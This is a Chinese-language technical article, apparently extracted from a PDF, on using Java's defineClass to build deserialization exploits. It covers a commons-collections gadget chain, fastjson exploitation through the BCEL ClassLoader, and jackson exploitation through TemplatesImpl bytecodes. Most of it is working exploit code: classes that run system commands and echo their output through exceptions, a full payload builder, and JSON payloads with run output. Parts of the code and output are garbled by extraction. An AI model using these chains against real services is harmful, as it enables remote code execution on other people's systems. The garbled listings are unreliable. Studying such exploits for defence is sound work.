defineClass 在 java 反序列化当中的利用

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本文分享一下 defineClass 在反序列化漏洞当中的使用场景,以及在 exp 构造过程中的一些使 用技巧

马上进入正题

0x00 前言

首先看一下 defineClass 的官方定义

Class<?> java.lang.ClassLoader.defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

Converts an array of bytes into an instance of class Class. Before the Class can be used it must be resolved.

This method assigns a default ProtectionDomain to the newly defined class. The ProtectionDomain is effectively granted the same set of permissions returned when Policy getPolicy() getPermissions (new CodeSource (null, null)) is invoked. The default domain is created on the first invocation of defineClass, and re-used on subsequent invocations.

To assign a specific ProtectionDomain to the class, use the defineClass method that takes a ProtectionDomain as one of its arguments.

name The expected binary name of the class, or null if not known

b The bytes that make up the class data. The bytes in positions off through off+len-1 should have the format of a valid class file as defined by the Java Virtual Machine Specification.

off The start offset in b of the class data

len The length of the class data Returns:

The Class object that was created from the specified class data.

ClassFormatError - If the data did not contain a valid class

<u>IndexOutOfBoundsException</u> - If either off or len is negative, or if off+len is greater than b.length. SecurityException - If an attempt is made to add this class to a package that contains classes that were signed by a different set of certificates than this class (which is unsigned), or if name begins with "java.".

Since:

1.1

See Also:

loadClass(String, boolean)

resolveClass(Class)

iava.security.CodeSource java.security.SecureClassLoader

众所周知, java 编译器会将.java 文件编译成 jvm 可以识别的机器代码保存在.class 文件当中。 正常情况下, java 会先调用 classLoader 去加载.class 文件, 然后调用 loadClass 函数去加载对 应的类名,返回一个 Class 对象。而 defineClass 提供了另外一种方法,从官方定义中可以看 出, defineClass 可以从 byte[]还原出一个 Class 对象,这种方法,在构造 java 反序列化利用 和漏洞 poc 时,变得非常有用。下面总结我在实际分析漏洞和编写 exp 时的一点儿体会,具 体有如下几种玩法.

0x01 defineCLass 构造回显

这里以 java 原生的 java.io.ObjectInputStreamread 的 readObject()作为反序列化函数,以 commons-collections-3.1 作为 payload,注入类文件代码如下

```
import java.io.*;
public class R {
    public void exec(String cmd) throws Exception {
       String s = "";
        int len;
        int bufSize = 4096;
       byte[] buffer = new byte[bufSize];
        BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime()
                                                                  .exec(cmd)
                                                                  .getInputStream(),
                bufSize);
        while ((len = bis.read(buffer, 0, bufSize)) != -1)
            s += new String(buffer, 0, len);
        bis.close();
        throw new Exception("^^^" + s + "^^^");
   }
}
```

常规的回显思路是用 URLClassLoader 去加载一个.class 或是.java 文件,然后调用 loadClass 函数去加载对应类名,返回对应的 Class 对象,然后再调用 newInstance()实例出一个对象,最后调用对应功能函数,使用例如 throw new Exception("genxor");这样抛错的方法,将回显结果带出来。例如

```
public static void main(String[] args) throws Exception {

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URLClassLoader cls = new URLClassLoader(new URL[]{new URL("file:c:/R.jar")});

Class cl = cls.loadClass("R");

Method m = cl.getMethod("exec", String.class);

m.invoke(cl.newInstance(), "ipconfig");
```

回显结果如下所示:

```
Exception in thread "main" java.lang.reflect.InvocationTargetException
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java
        at java.lang.reflect.Method.invoke(Method.java:597)
        at com.java.desr.Test.main(Test.java:376)
Caused by: java.lang.Exception: ^^
Windows IP 配置
以太网适配器 Npcap Loopback Adapter:
连接特定的 DNS 后缀 . . . . . . :
本地链接 IPv6 地址. . . . . . . : fe80::112c:b775:1c1a:7546%48
自动配置 IPv4 地址 . . . . . . . : 169.254.117.70
子网掩码 . . . . . . . . . . . . . . . 255.255.0.0
默认网关。...........:::::
无线局域网适配器 无线网络连接 8:
 模休状态
                                 模休戸新井
```

但是前提是要先写入一个.class或是.jar文件(写入方法这里不描述,使用FileOutputStream类,方法大同小异),这样显得拖泥带水,而且让利用过程变得很复杂。

那可不可以不写文件而直接调用我们的代码呢,使用 defineClass 很好的解决了这个问题。将我们编译好的.class 或是.jar 文件转换成 byte[]放到内存当中,然后直接用 defineClass 加载 byte[]返回 Class 对象。那怎么调用 defineClass 函数呢,因为默认的 defineClass 是 java.lang.ClassLoader 的函数,而且是 protected 属性,无法直接调用(这里暂且不考虑反射),而 且 java.lang.ClassLoader 类 也 无 法 被 transform 函数加载,这里我们使用 org.mozilla.classfile.DefiningClassLoader 类,代码如图

他重写了 defineClass 而且是 public 属性,正好符合我们要求,这里我写个具体事例,代码如下

```
public static void main(String[] args) throws Exception {
    String R = "yv66vgAAADIBMAcAAgEAAVIHAAQBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AvBASE64Decoder decoder = new BASE64Decoder();
    byte[] bt = decoder.decodeBuffer(R);

DefiningClassLoader cls = new DefiningClassLoader();
    Class cl = cls.defineClass("R", bt);
    Method m = cl.getMethod("exec", String.class);
    m.invoke(cl.newInstance(), "ipconfig");
```

回显结果如下所示

```
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
         at sun.reflect. Delegating \texttt{Method} Accessor \texttt{Impl.invoke}(\underline{\texttt{Delegating} \texttt{Method} Accessor \texttt{Impl.jave}})
         at java.lang.reflect.Method.invoke(Method.java:597)
         at com.java.desr.Test.main(Test.java:383)
Caused by: java.lang.Exception: ^^^
Windows IP 配置
以太网适配器 Npcap Loopback Adapter:
 连接特定的 DNS 后缀 . . . . . . . :
 本地链接 IPv6 地址...... fe80::112c:b775:1c1a:7546%48
 自动配置 IPv4 地址 . . . . . . : 169.254.117.70
 子网掩码 . . . . . . . . . . . : 255.255.0.0
 默认网关。。。。。。。。。。:::
开线局械网话配哭 开线网络连接 8:
根据这个思路,我们构造 transformerChain 生成 map 对象,代码如图所示
 public static Object pwn(String execArgs) throws Exception {
     String R = "yv66vgAAADIBMAcAAgEAAVIHAAQBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWAQAEQ29kZQo
     BASE64Decoder decoder = new BASE64Decoder();
     byte[] bt = decoder.decodeBuffer(R);
     final Transformer[] transforms = new Transformer[] {
             new ConstantTransformer(DefiningClassLoader.class),
             //new ConstantTransformer(ClassLoader.class),
             new InvokerTransformer("getConstructor",
                     new Class[] { Class[].class },
                     new Object[] { new Class[0] }),
             new InvokerTransformer(
                     "newInstance",
new Class[] { Object[].class }
                     new Object[] { new Object[0] }),
             new InvokerTransformer("defineClass"
                    new Class[] { String.class, byte[].class }, new Object[] { "R", bt }),
             new InvokerTransformer(
                     "newInstance
                     new Class[] {}
                     new Object[] {}),
             new InvokerTransformer("exec",
                     new Class[] {String.class},
                     new Object[] {execArgs}),new ConstantTransformer(1)
     };
     Transformer transformerChain = new ChainedTransformer(transforms):
     Map innermap = new HashMap();
innermap.put("value", "value");
     Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
             .forName("sun.reflect.annotation.AnnotationInvocationHandler");
     Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
     ctor.setAccessible(true);
     Object instance = ctor.newInstance(Retention.class, outmap);
     return instance;
```

Exception in thread "main" java.lang.reflect.InvocationTargetException

0x02 fastjson 利用

com.sun.org.apache.bcel.internal.util.ClassLoader,首先简单说一下漏洞原理,如下是利用 poc 的格式

fastjson 默认开启 type 属性,可以利用上述格式来设置对象属性(fastjson 的 type 属性使用不属于本文叙述范畴,具体使用请自行查询)。tomcat 有一个 tomcat-dbcp.jar 组件是 tomcat 用来连接数据库的驱动程序,其中 org.apache.tomcat.dbcp.dbcp.BasicDataSource 类存在如下代码,如图所示

```
🚮 BasicDataSource. class 🛭 🚺 test. java
                                             🚺 run. java
                                                       Class. class
protected ConnectionFactory createConnectionFactory() throws SQLException {
    // Load the JDBC driver class
    Class driverFromCCL = null;
    if (driverClassName != null) {
        try {
            try {
                if (driverClassLoader == null) {
                    Class.forName(driverClassName);
                    Class.forName(driverClassName, true, driverClassLoader);
            } catch (ClassNotFoundException cnfe) {
                driverFromCCL = Thread.currentThread(
                        ).getContextClassLoader().loadClass(
                                 driverClassName);
        } catch (Throwable t) {
            String message = "Cannot load JDBC driver class '" +
                driverClassName + "'";
            logWriter.println(message);
            t.printStackTrace(logWriter);
```

当 com.alibaba.fastjson.JSONObject. parseObject 解析上述 json 的时候,代码会上图中 Class.forName 的逻辑,同时将 driverClassLoader 和 driverClassName 设置为 json 指定的内容,到这里简单叙述了一下 fastjson漏洞的原理,一句话概括就是利用 fastjson默认的 type 属性,操控了相应的类,进而操控 Class.forName()的参数,可以使用任意 ClassLoader 去加载任意代码,达到命令执行的目的。

这里详细说一下利用 Class.forName 执行代码的方法,有两种方式:

- 1 Class.forName(classname)
- 2 Class.forName(classname, true, ClassLoaderName)

先说第一种,通过控制 classname 执行代码,这里我写了一个 demo,如图所示

```
🚺 App. java 🔝 ClassLoader. class 🚺 test. java 🚺 rum. java 🖂 🚵 Class. class 🔝 JSON. class
    package com.fastjson.pwn;
 3
    import java.io.*;
 5 public class run {
  б
  7⊜
        static
 8
 9
            String str = exec("ipconfig");
 10
            if(true) {
 11
                throw new RuntimeException(str);
 12
            }
 13
 14
 15⊜
        public static String exec(String cmd) {
 16
            try {
                String s = "";
 17
 18
                int len;
 19
                int bufSize = 4096;
App. java
             🚮 ClassLoader. class 🚺 test. java 🕱 🚺 rum. java 🕱 🚮 Class. class
                                                                  3 JSON. class
     1 package com.fastjson.pwn;
     2
     3 public class test {
           public static void main(String[] args) throws Exception {
     4⊖
     5
                Class.forName("com.fastjson.pwn.run");
     6
     7
            }
     8
       }
     9
   🧜 Problems @ Javadoc 📵 Declaration 📮 Console 🕱 🔪 🔗 Search
   <terminated> test [Java Application] D:\Program Files\Java\jdk1.6.0_25\bin\javaw.exe (2018-4-2 下午7:05:14)
   Exception in thread "main" java.lang.ExceptionInInitializerError
           at java.lang.Class.forNameO(Native Method)
           at java.lang.Class.forName(Class.java:169)
           at com.fastjson.pwn.test.main(test.java:5)
   Caused by: java.lang.RuntimeException:
   Windows IP Configuration
   Ethernet adapter .....:
      Connection-specific DNS Suffix . : localdomain
      IP Address. . . . . . . . . . . . . . 192.168.153.128
      Default Gateway . . . . . . . . : 192.168.153.2
```

这里利用了 java 的一个特性,利用静态代码块儿 static{}来执行,当 com.fastjson.pwn.run 被 Class.forName 加载的时候,代码便会执行。

第二种,通过控制 classname 和 classloader 执行代码,我写了一个 demo,以 com.sun.org.apache.bcel.internal.util.ClassLoader 这个类为例子,如图所示

```
3⊖ import java.io.*;
4
 5 import com.sun.org.apache.bcel.internal.classfile.*;
 6
 7 public class pwn {
 8
90
       public static void main(String[] args) throws Exception {
           String classname = "org.apache.log4j.spi$$BCEL$$$1$8b$I$A$A$A$A$A$A$A$7dSYS$d3
10
11
           ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
12
           Class.forName(classname, true, cls);
13
14 }
15
                                                     _ _ X
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                          ◎弧度
                                  ◎ 梯度
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erminated> pwn (1) [Ja
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                                 \chi^3
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                                     ∛x
                                                    3
                   π tanh
                            tan
                                          1
                                                        -
                   F-E Exp Mod log 10<sup>x</sup>
                                             0
                                                        +
```

这里用到了 com.sun.org.apache.bcel.internal.util.ClassLoader 这个 classloader,而 classname 是一个经过 BCEL 编码的 evil.class 文件,这里我给出 evil.java 的源码,如图所示

classloader 会先把它解码成一个 byte[],然后调用 defineClass 返回 Class,也就是 evil

具体我们跟一下代码逻辑, 如图所示

```
@CallerSensitive
    public static Class<?> forName(String name, boolean initialize,
                                 ClassLoader loader)
        throws ClassNotFoundException
       Class<?> caller = null;
       SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            // Reflective call to get caller class is only needed if a security manager
           // is present. Avoid the overhead of making this call otherwise.
           caller = Reflection.getCallerClass();
           if (sun.misc.VM.isSystemDomainLoader(loader)) {
               ClassLoader ccl = ClassLoader.getClassLoader(caller);
               if (!sun.misc.VM.isSystemDomainLoader(ccl)) {
                   sm.checkPermission(
                       SecurityConstants.GET_CLASSLOADER_PERMISSION);
           }
        return forName0(name, initialize, loader, caller);
这里会开始调用 com.sun.org.apache.bcel.internal.util.ClassLoader 的 loadClass 加载类,如图所
示
  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
    Class cl = null;
    /* First try: lookup hash table.
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
      for(int i=0; i < ignored_packages.length; i++) {</pre>
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }
      if(cl == null) {
        JavaClass clazz = null;
        /* Third try: Special request?
        if(class_name.indexOf("$$BCEL$$") >= 0)
         clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }
```

这里判断 classname 如果经过了 BCEL 编码,则解码获取 Class 文件,如图

```
protected JavaClass createClass(String class_name) {
    int index = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);
    JavaClass clazz = null;
    try {
                  bytes = Utility.decode(real_name, true);
      byte[]
    ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();
    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                    Constants. CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                    Constants. CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));
    return clazz;
此刻内存中 evil.class 文件的结构,如图所示
Name
```

```
ClassLoader (id=362)
"org.apache.log4j.spi$$BCEL$$$I$8b$I$A$A$A$A$A$A$A$7dSYS$d3P$U$fe$$$5d$92$86$60
  index
                          20
                          "\$|\$8b\$I\$A\$A\$A\$A\$A\$A\$A\$A\$A\$7dSYS\$d3P\$U\$fe\$\$\$5d\$92\$86\$60\$a1\$VPP\$dc\$b1\$Fi\$dd\$c0\$a5!!
JavaClass (id=368)
ConstantPool (id=373)
ConstantClass (id=375)
ConstantUtf8 (id=379)
```

```
public class evil.evil extends java.lang.Thread
filename
              foo
compiled from
                   evil.java
compiler version
                   50.0
access flags
                   33
constant pool
                   84 entries
ACC_SUPER flag
                   true
Attribute(s):
    SourceFile(evil.java)
2 fields:
    private static Thread thread
    private static String cmd
4 methods:
    static void <clinit>()
    public void <init>()
    public static void startRun(String urlStr)
    public void run()
继续跟踪后面的逻辑,如图
```

```
.java 🥀 ClassLoader.class 🗙 🥙 ClassParser.class
          /* Third try: Special request?
          if(class name.indexOf("$$BCEL$$") >= 0)
            clazz = createClass(class_name);
          else { // Fourth try: Load classes via repository
            if ((clazz = repository.loadClass(class_name)) != null) {
             clazz = modifyClass(clazz);
            else
              throw new ClassNotFoundException(class_name);
          if(clazz != null) {
           byte[] bytes = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
          } else // Fourth try: Use default class loader
cl = Class.forName(class_name);
       if(resolve)
          resolveClass(cl);
     classes.put(class_name, cl);
     return cl;
```

这里调用 defineClass 还原出 evil.class 中的 evil 类,因为使用 static{},所以在加载过程中代码执行。

OK 回到 fastjson 漏洞逻辑,因为控制了 Class.forName 加载的类和 ClassLoader,所以可以通过调用特定的 ClassLoader 去加载精心构造的代码,从而执行我们事先构造好的 class 文件,从而达到执行任意代码的目的。

0x03 jackson 利用

jackson 的反序列化命令执行跟 fastjson 类似,也似注入一个精心构造的 pwn.class 文件,最后通过 newInstance 实例对象触发代码执行。这里先给出 pwn.java 的源码,如图所示:

```
import java.io.*;...
public class pwn
  extends AbstractTranslet
{
  public void transform(DOM document, SerializationHandler[] handlers)
    throws TransletException
  {}
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
    throws TransletException
  {}
  public static String run(String cmd) {
      try {
            String s = "";
             int len;
             int bufSize = 4096;
             byte[] buffer = new byte[bufSize];
             BufferedInputStream bis;
             bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),bufSize);
             while ((len = bis.read(buffer, 0, bufSize)) != -1)
             s += new String(buffer, 0, len);
             bis.close();
            return s;
         } catch (IOException e) {
             return e.getMessage();
  }
  static
        Object localObject = null;
        if (true) {
            throw new RuntimeException(pwn.run("ipconfig"));
  }
```

然后写了一个 Demo, 触发漏洞, 代码如下

```
package jackson.pwn;
a 3⊕ import java.io.*;[.
 7 public class Demo {
      private String user;
10
      private Map pass;
11
12⊝
      public String getUser() {
13
         return user;
14
15
     public void setUser(String user) {
          this.user = user;
18
19
      public Map getPass() {
120⊖
21
         return pass;
22
124⊖
      public void setPass(Map pass) {
25
          this.pass = pass;
26
27
      public static void main(String[] args) throws Exception {
28⊜
         29
          ObjectMapper mapper = new ObjectMapper();
32
          mapper.enableDefaultTyping();
33
          mapper.readValue(poc, Demo.class);
34
      }
35 }
```

jackson 类似 fastjson 可以通过 type 属性,设置变量的值,但是不同时 jackson 默认不开启 type, 需要 mapper.enableDefaultTyping()设置开启。

```
💂 pwn.json 🗙 🞣 Demo.java
 1 {
   "user": "genxor",
 2
   3
 4
 5
         {
 6
             "transletBytecodes":["yv66vgAAADMAcQcAAgEAB2Zvby9wd24HAAQBAEBjb20vc3VuL29y
             "transletName":"a.b",
 7
             "outputProperties":
 8
 9
 10
 11
         }
      }
 12
 13 ]
14 }
```

当 readValue 这段 json 的时候,触发命令执行漏洞,下面调试一下关键步骤,如图

```
private void defineTransletClasses()
    throws TransformerConfigurationException {
    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });
   try {
        final int classCount = bytecodes.length;
        _class = new Class[classCount];
        if (classCount > 1) {
            _auxClasses = new Hashtable();
        for (int i = 0; i < classCount; i++) {</pre>
             class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();
                                      ■ _class= Class<T>[1] (id=66)
            // Check if this is the 
if (superClass.getName()
                                         _transletIndex = i;
                                      [class foo.pwn]
            else {
                _auxClasses.put(_cla
```

这里 defineTransletClasses 会解码 transletBytecodes 成 byte[],并执行 defineClass 得到 foo.pwn 这个类,然后在后面执行 newInstance 导致 static{}静态代码块儿执行,如图

```
private Translet getTransletInstance()
   throws TransformerConfigurationException {
       if (_name == null) return null;
       if (_class == null) defineTransletClasses();
       // The translet needs to keep a reference to all its auxiliary
         class to prevent the GC from collecting them
       AbstractTranslet translet = (AbstractTranslet) <u>class[transletIndex].newInstance();</u>
       translet.postInitialization();
                                                   ■ _class= Class<T>[1] (id=66)
       translet.setTemplates(this);
                                                     translet.setServicesMechnism(_useServicesMecha
       translet.set Allowed Protocols (\_access External Stranslet) \\
       if (_auxClasses != null) {
           return translet;
   catch (InstantiationException e) {
```

```
at [Source: {"user":"genxor","pass":["java.util.HashMap",{"pun":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",("transletBytecodes":["yv66 at com.fasterxml.jackson.databind.SonMappingException.from(3xonMappingException.java:2777) at com.fasterxml.jackson.databind.deser.SettableBeanProperty,throwAsIOf(SettableBeanProperty,java:546) at com.fasterxml.jackson.databind.deser.setableBeanProperty.deserializer.databind.geser.SetableBeanProperty.java:115) at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserializer.[BeanDeserializer.java:276] at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.geser.BeanDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.SetableBeanDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializerSetailizerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.reserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializerJestabind.geserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializerDeserializer.java:180] at com.fasterxml.jacks
```

0x04 总结

利用 defineClass 在运行时状态下,将我们精心构造的 class 文件加载进入 ClassLoader,通过 java 的 static{}特征,导致代码执行。

以上测试代码全部保存在:

https://github.com/genxor/Deserialize.git